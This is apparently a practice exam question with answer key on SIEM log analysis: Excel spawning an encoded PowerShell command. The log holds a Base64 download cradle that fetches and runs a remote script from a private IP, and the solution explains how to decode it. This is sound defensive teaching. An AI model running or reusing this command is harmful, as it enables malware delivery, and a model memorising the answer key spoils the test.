Examkin

Question

Difficulty: MediumLog Analysis and SIEM Management

A security analyst reviews a SIEM event log alert triggered by a host-based monitoring agent on a financial workstation:

text Timestamp: 2026-07-27T14:22:10Z Device: WKS-FIN-042 Event ID: 4688 (Process Creation) Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe CommandLine: powershell.exe -ExecutionPolicy Bypass -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJ2h0dHA6AC8ALwAxADkAMgAuADEANgA4AC4AMAAuADEANQAvAHAAYQB5AGwAbwBhAGQALgBwAHMxACcAKQA= ParentProcessName: C:\Program Files\Microsoft Office\Office16\EXCEL.EXE Account Name: jdoe

Based on the correlated process creation details in this log snippet, which of the following attack scenarios is actively occurring?

  1. A productivity application macro spawned an encoded PowerShell command to retrieve a remote secondary payload.Answer
  2. B
    A web application vulnerability was exploited using a Cross-Site Scripting (XSS) script injection into the user browser session.
  3. C
    An unauthorized user failed authentication checks during a high-frequency credential harvesting attempt.
  4. D
    A network-level detective security control failed to log the inbound perimeter network traffic burst.

Answer

The correlated event log indicates that a macro within Microsoft Excel (EXCEL.EXE) spawned an encoded PowerShell process (powershell.exe) designed to download and execute an external payload script.
The Windows Event ID 4688 log shows Microsoft Excel (EXCEL.EXE) launching PowerShell with execution policy bypass flags and a Base64-encoded string. Base64 decoding reveals a script initiating an HTTP GET request to pull a payload. Spawning shell processes from office productivity applications is a standard indicator of malicious document macro execution.

Step-by-Step Solution

1
Analyze the event metadata and parent-child process relationship.
Event ID 4688 indicates process creation. The parent process is EXCEL.EXE and the spawned child process is powershell.exe.
Legitimate spreadsheet software rarely spawns command-line shell interpreters unless executing malicious embedded macros.
2
Decode and analyze the command-line arguments passed to the child process.
The flag -ExecutionPolicy Bypass bypasses script execution restrictions, and the Base64 encoded payload (-enc) decodes to a PowerShell DownloadString call targeted at an external IP address.
Attackers encode commands to obscure download cradles from simple keyword-based log filters.
3
Synthesize findings to determine the attack vector.
The log pattern matches a malicious document macro execution triggering a remote stager download.
Correlating parent process, child command parameters, and decoded payload strings confirms the initial execution mechanism.

Key Concept

Process Lineage and Command-Line Log Analysis
Rate this question

Topics

Log Analysis and SIEM Management

More questions from this topic